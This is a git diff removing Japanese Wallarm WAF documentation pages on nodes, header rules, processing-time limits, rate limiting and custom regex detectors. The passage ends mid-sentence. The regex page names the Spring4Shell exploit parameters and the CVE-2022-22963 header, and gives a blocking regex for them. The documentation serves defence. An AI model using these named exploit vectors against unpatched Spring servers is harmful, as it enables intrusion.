-インストール済みのフィルタリングノードの詳細は、各フィルタリングノードのテーブルおよびカードに表示されます。カードを開くには、該当するテーブルのレコードをクリックします。 - -利用できるノードのプロパティとメトリクスは次のとおりです。 - -* 作成時に設定したノード名 -* 1秒あたりの平均リクエスト数（RPS） -* ノードのIPアドレス -* 一意のノード識別子（UUID） -* Wallarmノードのトークン（**Administrator**または**Global Administrator**[ロール](../settings/users.md)のユーザーにのみ表示されます） -* フィルタリングノードとWallarm Cloudの最終同期時刻 -* フィルタリングノードの作成日 -* 当月にノードが処理したリクエスト数。あわせて、**View events from this node for the day**（**Attacks**セクションに切り替えます）も可能です。 -* 使用中のLOMおよびproton.dbのバージョン -* インストール済みのWallarmパッケージおよびNGINX（存在する場合）のバージョン - -![ノードカード](../../images/user-guides/nodes/view-wallarm-node.png) - -1つのWallarmノードが複数のインスタンスに対してインストールされている場合（例: 異なるサーバーインスタンスで初期トラフィック処理とリクエストの事後分析を実行する場合）、対応するフィルタリングノードの数はテーブル上で1つのレコードにグループ化されます。プロパティとメトリクスは各インスタンスごとに利用できます。 - -Wallarmでは、ノードインスタンスは`hostname_NodeUUID`という形式で命名されます。内訳は次のとおりです。 - -* `hostname`は、ノードインスタンスを起動している稼働マシンの名前です -* `NodeUUID`は、一意のノード識別子（UUID）です - -## ノードトークンの再生成 - -トークンを再生成すると、そのノード用の新しいトークンが作成されます。 - -1. Wallarm Console→**Nodes**を開きます。 -2. ノードのメニューまたはカードで**Regenerate token**をクリックします。 -3. ノードがすでにお使いのインフラストラクチャにインストールされている場合は、新しいトークンの値をコピーし、インストール済みノードの設定に指定します。 - -![ノードトークンの再生成](../../images/user-guides/nodes/generate-new-token.png) - -## ノードの削除 - -ノードを削除すると、アプリケーションへのリクエストのフィルタリングは停止します。フィルタリングノードの削除は元に戻せません。ノードはノード一覧から永久に削除されます。 - -1. Wallarm Console→**Nodes**を開きます。 -1. 1つ以上のノードを選択し、**Delete**をクリックします。ノードのメニューまたはノードカードのボタンからフィルタリングノードを削除することもできます。 -1. 操作を確認します。 - -## ノード作成のためのAPIトークンとノードトークン - -WallarmフィルタリングノードはWallarm Cloudと連携します。ノードにWallarm Cloud APIへのアクセス権を付与するには、Cloud側でトークンを生成し、ノードを稼働させるマシンでそのトークンを使用する必要があります。この目的には、推奨の**API tokens**（推奨）または**node tokens**を使用します: - -* `Node deployment/Deployment`の使用タイプを持つ[**API tokens**](../settings/api-tokens.md)を使用するのは次のような場合です。 - - * UIでノードを論理的に整理するためのノードグループ数が事前に分からない場合（ノードグループが継続的に追加/削除される場合）。API tokensでは、`WALLARM_LABELS`変数で`group`ラベル値を設定して、これらのグループを容易に管理できます。 - * トークンのライフサイクルを管理する必要がある場合（有効期限を指定したり、API tokensを無効化したりできるため、より安全になります）。 - - !!! info "一部のデプロイ方法ではAPI tokensはサポートされません" - 現在、[Terraformモジュール](../../installation/cloud-platforms/aws/terraform-module/overview.md)に基づくAWSデプロイではAPI tokensを使用できません。代わりにnode tokensを使用してください。 - -* どのノードグループを用意するかが事前に分かっている場合は、**Node tokens**を使用します。ノードグループの作成と命名には、**Nodes**→**Create node**を使用します。ノードをデプロイする際、グループに含めたい各ノードに対してグループのトークンを使用します。 - -!!! info "オートスケーリングのサポート" - 両方のトークンタイプは、一部のクラウド/インストール方式で利用できるノードのオートスケーリング機能をサポートします。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/rules/add-replace-response-header.md b/docs/latest-ja/user-guides/rules/add-replace-response-header.md deleted file mode 100644 index 629a522bdc..0000000000 --- a/docs/latest-ja/user-guides/rules/add-replace-response-header.md +++ /dev/null @@ -1,39 +0,0 @@ -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# サーバーのレスポンスヘッダーの変更 - -**Change server response headers**の[ルール](../../user-guides/rules/rules.md)は、サーバーのレスポンスヘッダーの追加、削除、および値の変更が可能です。 - -このルールタイプは、アプリケーションのセキュリティを強化する追加レイヤーを構成する目的で、主に次の用途に使用します: - -* 特定のページでクライアントが読み込むことを許可されるリソースを制御するレスポンスヘッダー[`Content-Security-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)を追加します。これは[XSS](../../attacks-vulns-list.md#crosssite-scripting-xss)攻撃からの防御に役立ちます。 - - サーバーがこのヘッダーをデフォルトで返さない場合は、ルール**Change server response headers**を使用して追加することを推奨します。MDN Web Docsには、[取り得るヘッダー値](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#directives)や[ヘッダーの使用例](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#examples_common_use_cases)が記載されています。 - - 同様に、このルールを使用して、レスポンスヘッダー[`X-XSS-Protection`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection)、[`X-Frame-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)、[`X-Content-Type-Options`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options)を追加できます。 -* インストール済みモジュールのバージョン情報を含むNGINXのヘッダー`Server`やその他のヘッダーを変更します。この種のデータは、攻撃者がインストールされているモジュールのバージョンに存在する脆弱性を特定し、その結果として脆弱性を悪用する目的で利用される可能性があります。 - - NGINXのヘッダー`Server`は、Wallarm node 2.16以降で変更できます。 - -ルール**Change server response headers**は、その他のビジネス上および技術上の課題への対応にも使用できます。 - -## ルールの作成と適用 - -ルールを作成して適用するには、次の手順を実行します。 - - ---8<-- "../include/rule-creation-initial-step.md" -1. **If request is**で、ルールを適用する対象範囲を[指定します](rules.md#configuring)。 -1. **Then**で、**Change server response headers**を選択し、次を設定します: - - * 追加するヘッダー名、または値を置き換える対象のヘッダー名。 - * 指定したヘッダーの新しい値（複数可）。 - * 既存のレスポンスヘッダーを削除するには、**Replace**タブで値を空にします。 - -1. [ルールのコンパイルの完了](rules.md#ruleset-lifecycle)を待ちます。 - -## 例: セキュリティポリシーヘッダーとその値の追加 - -https://example.com/* のすべてのコンテンツがサイトのオリジンからのみ配信されるようにするには、ルール**Change server response headers**を使用して、次のようにレスポンスヘッダー[`Content-Security-Policy: default-src 'self'`](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP#example_1)を追加できます: - -![ルール「Change server response headers」の例](../../images/user-guides/rules/add-replace-response-header.png) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/rules/configure-overlimit-res-detection.md b/docs/latest-ja/user-guides/rules/configure-overlimit-res-detection.md deleted file mode 100644 index 3c013c0321..0000000000 --- a/docs/latest-ja/user-guides/rules/configure-overlimit-res-detection.md +++ /dev/null @@ -1,81 +0,0 @@ -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# リクエスト処理時間の制限 - -Wallarmノードは単一の受信リクエストの処理に割ける時間が制限されており、その制限を超えた場合、当該リクエストを[リソース超過（`overlimit_res`）](../../attacks-vulns-list.md#resource-overlimit)攻撃としてマークします。単一リクエストの処理に割り当てる時間上限および上限超過時のノードの挙動はカスタマイズできます。 - -リクエスト処理時間を制限することで、Wallarmノードを狙った保護バイパス攻撃を防止できます。場合によっては、`overlimit_res`とマークされたリクエストは、Wallarmノードの各モジュールに割り当てられたリソースが不十分で、その結果として処理に時間がかかっていることを示している可能性があります。 - -## リソース超過攻撃への対応 - -ノードバージョン5.1.0以降では、設定済みの処理時間上限を超過したすべてのリクエストが、`overlimit_res`キーワードの下で**Attacks**セクションに一覧表示されます。以下の情報は、これらのリクエストに対する既定のノード挙動が適切か、調整が必要かを判断する助けになります。 - -* このエンドポイントは大きなデータ（ファイルなど）を扱うため、より長い処理時間を必要としますか？ - - * はいの場合は、[このエンドポイント専用に](#specific-endpoint-configuration)時間上限を増やしてください。これにより未処理となるリクエスト部分が減り、そこに潜む攻撃のリスクを低減できます。 - * いいえの場合、そのエンドポイントが攻撃を受けている可能性があります。[**API Discovery**](../../api-discovery/overview.md)、[**API Sessions**](../../api-sessions/overview.md)、および[**Attacks**](../../user-guides/events/check-attack.md)で当該エンドポイントの保護状況や関連アクティビティを調査してください。保護の調整方法は[こちら](../../user-guides/events/check-attack.md#responding-to-attacks)に記載しています。 - -* このエンドポイントでの`overlimit_res`の発生が、他の多数のエンドポイントでも同時に起きていますか？はいの場合は、リクエスト処理時間を短縮するためにWallarmノードの各モジュールへ[リソースを追加割り当て](../../admin-en/configuration-guides/allocate-resources-for-node.md)すること、または一般設定の正しさを確認することを検討してください。 - -* このエンドポイントはユーザー体験や満足度に直ちに影響しますか？ - - * はいの場合は、既定の**not blocking**挙動を変更しないでください。正当なトラフィックは確実にブロックされず、問題は**Attacks**内で`overlimit_res`として引き続き把握できます。 - * いいえの場合は、[このエンドポイントに限って](#specific-endpoint-configuration)、応答を**Block**へ変更することを検討してください。 - -エンドポイント上に`overlimit_res`攻撃が存在すること自体は概ね通常のことですが、想定範囲内に収まっている必要があります。大量に発生している場合は、上記の分析および対処を実施する価値があります。 - -## 一般設定 - -Wallarm Console → **Settings** → **General** → **Limit request processing time**で、リクエスト処理時間の一般設定を確認できます。この設定は、[特定エンドポイントの設定](#specific-endpoint-configuration)で上書きされない限り、すべてのエンドポイントに適用されます。 - -既定値は次のとおりです: - -* 単一の受信リクエスト処理に対して**1,000ミリ秒**。 -* 上限超過時の応答は**Interrupt Wallarm processing and bypass**で、これはWallarmが次を行うことを意味します: - - * リクエストの処理を停止します。 - * 当該リクエストを`overlimit_res`攻撃としてマークし、**Attacks**に表示します。処理済み部分に他の[攻撃タイプ](../../attacks-vulns-list.md)が含まれている場合は、それらのタイプの攻撃も表示されます。 - * 元のリクエストをアプリケーションに到達させます（保護のバイパス）。 - -![Limit request processing time - 一般設定](../../images/user-guides/rules/fine-tune-overlimit-detection-generic.png) - -時間上限の調整や応答の変更によって一般設定を変更できます。 - -!!! warning "保護のバイパスまたはシステムメモリ枯渇のリスク" - * 既定のノード挙動を変更するのは、本当に必要な[特定の箇所](#specific-endpoint-configuration)に厳密に限定することを推奨します。たとえば大容量ファイルのアップロードを行う箇所などで、保護バイパスや脆弱性悪用のリスクがない場合です。 - * 時間上限を高く設定すると、メモリ枯渇を引き起こす可能性があります。 - -応答を**Block request**に変更すると、Wallarmは次を行います: - -* リクエストの処理を停止します。 -* 当該リクエストを`overlimit_res`攻撃としてマークし、**Attacks**に表示します。処理済み部分に他の[攻撃タイプ](../../attacks-vulns-list.md)が含まれている場合は、それらのタイプの攻撃も表示されます。 -* リクエストをブロックします。なお、正当なリクエストがブロックされるリスクがあります。既定の一般設定を維持し、[特定のエンドポイントに対してのみ](#specific-endpoint-configuration)ブロックを設定することで、このリスクを最小化できます。 - -!!! info "ブロッキングに必要なフィルタリングモード" - ブロックが機能するのは、ノードが**blocking**フィルタリング[mode](../../admin-en/configure-wallarm-mode.md)にある場合、または[graylisted](../ip-lists/overview.md)なIPアドレスからのリクエストに対して**safe blocking**が有効な場合のみです。 - -## 特定エンドポイントの設定 - -既定の一般設定は平均的な用途に対して十分に検証されており、変更は推奨しません。しかし、正当なトラフィックをブロックせずに保護も両立させる、よりよいバランスを取ることは可能です。平均から外れる処理時間のエンドポイントについては、そのエンドポイント専用に時間上限を調整し、直ちにリスクがない箇所については、そのエンドポイント専用に応答をブロックへ変更すると実現できます。 - -この**Limit request processing time**[ルール](../../user-guides/rules/rules.md)を使用すると、特定のエンドポイント向けに設定を変えることで、[一般設定](#general-configuration)または親設定を上書きできます。できること: - -* 単一リクエスト処理の上限時間をカスタム設定する -* システムの応答を変更する（各項目の説明は[上記](#general-configuration)を参照） - -リクエスト処理時間のエンドポイント別設定を行うには: - ---8<-- "../include/rule-creation-initial-step.md" -1. **Fine-tuning attack detection** → **Limit request processing time**を選択します。 -1. **If request is**で、ルールを適用するスコープを[記述](rules.md#configuring)します。 -1. パラメータを設定します。 - -## ルール例 - -たとえば、一般設定が**1,000ミリ秒**かつ応答が**Interrupt Wallarm processing and bypass**で、`https://example.com/upload`に対して`overlimit_res`攻撃が多数発生しているとします。調査の結果、このエンドポイントは大容量ファイルのアップロードに使用されており、処理時間超過により正当なリクエストまで`overlimit_res`攻撃としてマークされていることが分かりました。 - -不要な`overlimit_res`通知の件数を減らし、未処理のリクエスト部分に悪意あるペイロードが潜む可能性を下げるため、このエンドポイントに限って、リクエスト処理時間を延ばす必要があります。 - -そのために、スクリーンショットのとおり**Limit request processing time**ルールを設定します。 - -![「Register and display in the events」ルールの例](../../images/user-guides/rules/fine-tune-overlimit-detection-example.png) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/rules/rate-limiting.md b/docs/latest-ja/user-guides/rules/rate-limiting.md deleted file mode 100644 index fc5cc9b4f2..0000000000 --- a/docs/latest-ja/user-guides/rules/rate-limiting.md +++ /dev/null @@ -1,138 +0,0 @@ -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# レート制限 - -[無制限なリソース消費](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md)は、最も重大なAPIセキュリティリスクの一覧である[OWASP API Top 10 2023](../../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023)に含まれています。レート制限の欠如は、このリスクの主な原因の1つです。適切なレート制限がなければ、APIはサービス拒否(DoS)、ブルートフォース、APIの過剰利用といった攻撃に脆弱になります。本記事では、Wallarmのレート制限ルールによりAPIとユーザーを保護する方法を説明します。 - -WallarmはAPIへの過剰なトラフィックを防ぐために、Advanced rate limitingの[ルール](../../user-guides/rules/rules.md)を提供します。このルールでは、特定のスコープに対するリクエストの最大数を指定でき、着信リクエストが均等に分散されるようにも制御します。定義した上限を超えるリクエストはWallarmが拒否し、ルールで選択したコードを返します。 - -WallarmはCookieやJSONフィールドなどさまざまなリクエストパラメータを評価するため、発信元IPアドレスだけでなく、セッション識別子、ユーザー名、メールアドレスに基づいても接続を制限できます。この追加の粒度により、あらゆる発信元データを基準としてプラットフォーム全体のセキュリティを強化できます。 - -本記事で説明するレート制限は、Wallarmが提供する負荷制御の方法の1つです。代替として、[ブルートフォース対策](../../admin-en/configuration-guides/protecting-against-bruteforce.md)を適用できます。レート制限は受信トラフィックを減速させる目的で、ブルートフォース対策は攻撃者を完全にブロックする目的で使用します。 - -## ルールの作成と適用 - -レート制限を設定して適用するには: - ---8<-- "../include/rule-creation-initial-step.md" -1. Mitigation controls → Advanced rate limitingを選択します。 -1. If request isで、ルールを適用するスコープを[記述](rules.md#configuring)します。 -1. 対象スコープへの接続に対する希望の上限を設定します: - - * 1秒または1分あたりのリクエストの最大数。 - * **Burst** - 指定したRPS/RPMを超過した際にバッファリングされる過剰リクエストの最大数で、レートが通常に戻ったときに処理されます。`0`がデフォルトです。 - - 値が`0`以外の場合、バッファリングされた過剰リクエストの実行間でも、定義したRPS/RPMを維持するかどうかを制御できます。 - - **No delay**は、レート制限による遅延を設けずに、バッファ済みの過剰リクエストをすべて同時に処理することを意味します。**Delay**は、指定数の過剰リクエストを同時に処理し、残りはRPS/RPMで設定された遅延で処理されることを意味します。 - - * **Response code** - 拒否されたリクエストに対して返すコードです。デフォルトは`503`です。 - - 以下は、5 r/s、burst 12、delay 8の設定におけるレート制限の挙動例です。 - - ![レート制限の動作](../../images/user-guides/rules/rate-limit-schema.png) - - 最初の8リクエスト（delayの値）はWallarmノードによって遅延なしで転送されます。次の4リクエスト（burst - delay）は、定義した5 r/sというレートを超えないように遅延されます。さらに次の3リクエストは、バースト総量を超過したため拒否されます。その後のリクエストは遅延されます。 - -1. In this part of requestで、制限を設定したいリクエストのポイントを指定します。選択したリクエストパラメータの値が同一のリクエストをWallarmが制限します。 - - 利用可能なポイントは[こちら](request-processing.md)に記載しています。ユースケースに合うものを選択してください。例: - - * 発信元IPで接続を制限するには`remote_addr` - * JSON本文の`api_key`パラメータで接続を制限するには`json` → `json_doc` → `hash` → `api_key` - - !!! info "値の長さに関する制限" - 制限の基準とするパラメータ値の最大長は8000文字です。 -1. [ルールのコンパイルとフィルタリングノードへのアップロードが完了するまでお待ちください](rules.md#ruleset-lifecycle)。 - -## ルール例 - - -### APIの高可用性を確保するためのIP単位の接続制限 - -あるヘルスケア企業のREST APIが、医師に対し、`/patients`エンドポイントへPOSTリクエストで患者情報を送信できるようにしているとします（ホストは'https://example-host.com'）。このエンドポイントの可用性は極めて重要であり、多数のリクエストで過負荷にすべきではありません。 - -この`/patients`エンドポイントに対し、一定期間内のIP単位で接続を制限するとこれを防げます。これにより、DoS攻撃を防止して患者情報のセキュリティを保護しつつ、すべての医師に対するエンドポイントの安定性と可用性を確保できます。 - -例えば、各IPアドレスごとに1分あたり5件のPOSTリクエストに制限する設定は次のとおりです: - -![例](../../images/user-guides/rules/rate-limit-by-ip-for-patients.png) - -### 認証パラメータへのブルートフォース攻撃を防ぐためのセッション単位の接続制限 - -ユーザーセッションにレート制限を適用することで、保護されたリソースへの不正アクセスを得る目的で有効なJWTや他の認証パラメータを見つけようとするブルートフォース試行を抑止できます。例えば、1セッションあたり1分間に10リクエストのみを許可するようレート制限を設定すると、異なるトークン値で多数のリクエストを送って有効なJWTを見つけようとする攻撃者は、すぐにレート上限に達し、期間がリセットされるまでリクエストが拒否されます。 - -アプリケーションが各ユーザーセッションに一意のIDを割り当て、`X-SESSION-ID`ヘッダーに反映しているとします。URL`https://example.com/api/login`のAPIエンドポイントは、`Authorization`ヘッダーにBearer JWTを含むPOSTリクエストを受け付けます。このシナリオにおけるセッション単位の接続制限ルールは次のようになります: - -![例](../../images/user-guides/rules/rate-limit-for-jwt.png) - -`Authorization`の値に使用する[正規表現](rules.md#condition-type-regex)は``^Bearer\s+([a-zA-Z0-9-_]+[.][a-zA-Z0-9-_]+[.][a-zA-Z0-9-_]+)$`です。 - -ユーザーセッションの管理にJWT (JSON Web Tokens)を使用している場合は、次のようにルールを調整してJWTを[復号](request-processing.md#jwt)し、ペイロードからセッションIDを抽出できます: - -![例](../../images/user-guides/rules/rate-limit-for-session-in-jwt.png) - - - -### サーバーの過負荷を防ぐための顧客ID単位の接続制限 - -オンラインショッピングプラットフォームの顧客注文データにアクセスできるWebサービスを考えます。顧客IDごとのレート制限は、短時間に過剰な注文が行われて在庫管理や出荷処理に負荷がかかる事態を防ぐのに役立ちます。 - -例えば、`https://example-domain.com/orders`へのPOSTリクエストを各顧客あたり1分に10件へ制限するルールは、次のようになります。この例では、顧客IDがJSON本文オブジェクト`data.customer_id`で[渡される](request-processing.md#json_doc)ものとします。 - -![例](../../images/user-guides/rules/rate-limit-by-customer-id.png) - -## 制限事項と特記事項 - -レート制限機能には次の制限事項と特記事項があります: - -* レート制限ルールは、すべての[Security Edge](../../installation/security-edge/overview.md)および[self-hosted](../../installation/supported-deployment-options.md)のデプロイメント形態でサポートされますが、以下は対象外です: - - * OOB Wallarmデプロイメント - * MuleSoft、Amazon CloudFront、Cloudflare、Broadcom Layer7 API Gateway、Fastlyのコネクタ -* 制限の基準とするパラメータ値の最大長は8000文字です。 -* 複数のWallarmノードがあり、各ノードに到着するトラフィックがレート制限ルールに該当する場合、それぞれ独立して制限されます。 -* 複数のレート制限ルールが着信リクエストに適用可能な場合、最も小さいレート上限のルールが適用されます。 -* 着信リクエストに、ルールのIn this part of requestセクションで指定したポイントが存在しない場合、そのリクエストには本ルールによる制限は適用されません。 -* Webサーバー側でも接続制限（例: [ngx_http_limit_req_module](http://nginx.org/en/docs/http/ngx_http_limit_req_module.html)というNGINXモジュールの使用）を構成しており、同時にWallarmのルールも適用している場合、Webサーバーは自側の設定に従ってリクエストを拒否しますが、Wallarmは拒否しません。 -* Wallarmはレート制限を超えたリクエストを保存しません。ルールで選択したコードを返して拒否するだけです。例外は[攻撃の兆候](../../about-wallarm/protecting-against-attacks.md)があるリクエストで、レート制限ルールにより拒否された場合でも、Wallarmによって記録されます。 - -## rate abuse protectionとの違い - -大量のリクエストによるリソース消費の抑制と攻撃の防止には、本稿で説明したレート制限に加えて、Wallarmは[レート乱用対策](../../api-protection/dos-protection.md)も提供します。 - -レート制限は、レートが高すぎる場合に一部のリクエストを遅延させ（バッファに格納し）、バッファが満杯になると残りを拒否します。レートが正常に戻ると、バッファ済みのリクエストが配信され、IPやセッション単位のブロックは行いません。一方、レート乱用対策は攻撃者をIPやセッションで一定時間ブロックします。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/rules/regex-rule.md b/docs/latest-ja/user-guides/rules/regex-rule.md deleted file mode 100644 index 3ca06c9212..0000000000 --- a/docs/latest-ja/user-guides/rules/regex-rule.md +++ /dev/null @@ -1,110 +0,0 @@ -[link-regex]: https://github.com/yandex/pire -[img-regex-example1]: ../../images/user-guides/rules/regex-rule-1.png -[img-regex-example2]: ../../images/user-guides/rules/regex-rule-2.png -[img-regex-id]: ../../images/user-guides/rules/regex-id.png -[request-processing]: ../../user-guides/rules/request-processing.md -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# カスタム攻撃ディテクタ - -Wallarmは、正規表現で表現される独自の攻撃兆候を定義するための**Create regexp-based attack indicator**[ルール](../../user-guides/rules/rules.md)を提供します。 - -## ルールの作成と適用 - -独自の攻撃ディテクタを設定して適用するには: - ---8<-- "../include/rule-creation-initial-step.md" -1. **Mitigation controls** → **Custom attack detector**を選択します。 -1. **If request is**で、ルールを適用する対象を[記述](rules.md#configuring)します。 -1. 攻撃インジケーターのパラメータを設定します: - - * **Regular expression** - 正規表現（シグネチャ）です。以下のパラメータの値がこの式に一致する場合、そのリクエストは攻撃として検知されます。正規表現の構文と注意点は[ルール追加の手順](rules.md#condition-type-regex)で説明しています。 - - !!! warning "ルールで指定した正規表現の変更" - 既存の**Create regexp-based attack indicator**タイプのルールで指定された正規表現を変更すると、以前の正規表現を使用している[**Disable regexp-based attack detection**](#partial-disabling)ルールが自動的に削除されます。 - - 新しい正規表現による攻撃検知を無効化するには、新しい正規表現を指定した**Disable regexp-based attack detection**ルールを新規作成してください。 - - * **Experimental** - このフラグを有効にすると、リクエストをブロックせずに正規表現の発火を安全に確認できます。フィルタノードがblockingモードに設定されている場合でも、これらのリクエストはブロックされません。これらのリクエストは実験的手法で検知された攻撃として扱われ、既定ではイベント一覧から非表示になります。検索クエリ`experimental attacks`で表示できます。 - - * **Attack** - リクエスト内のパラメータ値が正規表現に一致したときに検知する攻撃の種類です。 - -1. **In this part of request**で、攻撃兆候を検索したい[リクエストの各部](request-processing.md)を指定します。 -1. [ルールのコンパイルとフィルタリングノードへのアップロード完了](rules.md#ruleset-lifecycle)を待ちます。 - -## ルール例 - -### 不正な`X-AUTHENTICATION`ヘッダーを含むすべてのリクエストをブロックする - ---8<-- "../include/waf/features/rules/rule-vpatch-regex.md" - -### ボディパラメータに`class.module.classLoader.*`を含むすべてのリクエストをブロックする - -[Spring Core Framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/overview.html)（Spring4Shell）にはゼロデイ脆弱性があり、次のボディパラメータに悪意あるペイロードを注入したPOSTリクエストを送ることで悪用される可能性があります: - -* `class.module.classLoader.resources.context.parent.pipeline.first.pattern` -* `class.module.classLoader.resources.context.parent.pipeline.first.suffix` -* `class.module.classLoader.resources.context.parent.pipeline.first.directory` -* `class.module.classLoader.resources.context.parent.pipeline.first.prefix` -* `class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat` - -脆弱なSpring Core Frameworkを使用していて、Wallarm nodeの[mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)がblocking以外の場合は、バーチャルパッチを使用して脆弱性の悪用を防止できます。次のルールは、monitoringおよびsafe blockingモードでも、上記のボディパラメータを含むすべてのリクエストをブロックします: - -![特定のPOSTパラメータ向けのバーチャルパッチ](../../images/user-guides/rules/regexp-rule-post-params-spring.png) - -正規表現フィールドの値は次のとおりです: - -```bash -(class[.]module[.]classLoader[.]resources[.]context[.]parent[.]pipeline[.]first[.])(pattern|suffix|directory|prefix|fileDateFormat) -``` - -Wallarm nodeがblocking[mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)で動作している場合、このような脆弱性の悪用試行は既定でブロックされます。 - -Spring Cloud Functionコンポーネントにも既知の脆弱性（CVE-2022-22963）があります。このコンポーネントを使用していてWallarm nodeのmodeがblocking以外の場合は、[以下](#block-all-requests-with-class-cloud-function-routing-expression-header)のとおりバーチャルパッチを作成してください。 - -### `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION`ヘッダーを含むすべてのリクエストをブロックする - -Spring Cloud Functionコンポーネントには既知の脆弱性（CVE-2022-22963）があり、`CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION`または`CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION`ヘッダーに悪意あるペイロードを注入することで悪用される可能性があります。 - -このコンポーネントを使用していてWallarm nodeの[mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)がblocking以外の場合は、バーチャルパッチで悪用を防止できます。次のルールは、`CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION`ヘッダーを含むすべてのリクエストをブロックします: - -![特定のヘッダー向けのバーチャルパッチ](../../images/user-guides/rules/regexp-rule-header-spring.png) - -!!! info "`CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION`ヘッダーを持つリクエストのブロックについて" - このルールは`CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION`ヘッダーを持つリクエストをブロックしませんが、NGINXは既定でこのヘッダーを持つリクエストを無効なものとして破棄します。 - -Wallarm nodeがblocking[mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)で動作している場合、このような脆弱性の悪用試行は既定でブロックされます。 - -[Spring Core Framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/overview.html)（Spring4Shell）にもゼロデイ脆弱性があります。[正規表現ベースのバーチャルパッチ](#block-all-requests-with-classmoduleclassloader-body-parameters)でその悪用試行をブロックする方法をご確認ください。 - -## 部分的な無効化 - -作成したルールを特定のブランチで部分的に無効化する必要がある場合は、次のフィールドで**Disable regexp-based attack detection**ルールを作成することで簡単に実現できます: - -- **Regular expression**: 無視する必要がある既存の正規表現を選択します。 - - !!! warning "正規表現を変更した場合のルールの挙動" - 既存の[**Create regexp-based attack indicator**](#creating-and-applying-rule)タイプのルールで指定された正規表現を変更すると、以前の正規表現を使用している**Disable regexp-based attack detection**ルールが自動的に削除されます。 - - 新しい正規表現による攻撃検知を無効化するには、新しい正規表現を指定した**Disable regexp-based attack detection**ルールを新規作成してください。 - -- **in this part of request**: 例外を設定する必要があるパラメータを指定します。 - -**例: 指定したURLに対して不正なX-Authenticationヘッダーを許可する** - -`example.com/test.php`でスクリプトを運用していて、そのトークン形式を変更したいとします。 - -該当のルールを作成するには: - -1. **Rules WAF** tabに移動します。 -1. `example.com/test.php`のブランチを探すか作成し、**Add rule**をクリックします。 -1. **Fine-tuning attack detection** → **Disable custom attack detector**を選択します。 -1. 無効化したい正規表現を選択します。 -1. 項目を`Header X-AUTHENTICATION`に設定します。 -1. **Create**をクリックします。 - -![正規表現ルールの2番目の例][img-regex-example2] - -## ルールを作成するAPI呼び出し - -正規表現ベースの攻撃インジケーターを作成するには、[Wallarm APIを直接呼び出す](../../api/request-examples.md#create-a-rule-to-consider-the-requests-with-specific-value-of-the-x-forwarded-for-header-as-attacks)ことができます。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/rules/request-processing.md b/docs/latest-ja/user-guides/rules/request-processing.md deleted file mode 100644 index 5d12c7412d..0000000000 --- a/docs/latest-ja/user-guides/rules/request-processing.md +++ /dev/null @@ -1,466 +0,0 @@ -[rule-creation-options]: ../../user-guides/events/check-attack.md#attack-analysis_1 -[request-processing]: ../../user-guides/rules/request-processing.md -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# リクエストの解析 - -リクエストを分析する際、Wallarmフィルタリングノードは包括的なパーサー群を使用します。リクエストの各部分を特定した後、各部分に対してパーサーを順次適用し、攻撃検知に利用するリクエストのメタパラメータを得ます。利用可能なパーサー、その適用ロジック、およびそのロジックに対して可能な設定について本記事で説明します。 - -効果的な解析のため、Wallarmは次の原則に従います。 - -* 保護対象アプリケーションと同じデータで処理します。例えば: - - アプリケーションがJSON APIを提供している場合、処理されるパラメータもJSON形式でエンコードされています。パラメータ値の取得にはJSONパーサーを使用します。データが複数回エンコードされるより複雑なケースもあります—例えば、JSONをBase64にし、それを再びJSONにするなどです。このような場合は複数のパーサーでのデコードが必要になります。 - -* データ処理のコンテキストを考慮します。例えば: - - `name`というパラメータは、作成リクエストにおいて製品名としてもユーザー名としても渡される可能性があります。ただし、そのようなリクエストの処理コードは異なる場合があります。これらのパラメータの分析方法を定義するために、Wallarmはリクエストが送信されたURLや他のパラメータを利用することがあります。 - -## リクエスト部分の特定と解析 - -HTTPリクエストの最上位から開始し、フィルタリングノードは各部分に対して適切な各パーサーを順次適用しようとします。適用されるパーサーの一覧は、データの性質とシステムの過去の学習結果に依存します。 - -パーサーからの出力は、同様の方法でさらに分析すべき追加のパラメータ群になります。パーサーの出力は、JSON、配列、連想配列のような複雑な構造になることもあります。 - -!!! info "パーサータグ" - 各パーサーには識別子（タグ）があります。例えば、リクエストヘッダー用のパーサーには`header`が付与されます。リクエスト分析に使用されたタグの集合は、Wallarm Consoleのイベント詳細内に表示されます。この情報により、攻撃が検出されたリクエスト部分と使用されたパーサーが分かります。 - - 例えば、`SOAPACTION`ヘッダーで攻撃が検出された場合: - - ![タグの例](../../images/user-guides/rules/tags-example.png) - -### URL - -各HTTPリクエストにはURLが含まれます。攻撃を見つけるため、フィルタリングノードは元の値とその個々の構成要素である**path**、**action_name**、**action_ext**、**query**を分析します。 - -URLパーサーに対応するタグは次のとおりです。 - -* **uri** はドメインを除いた元のURL値（例: 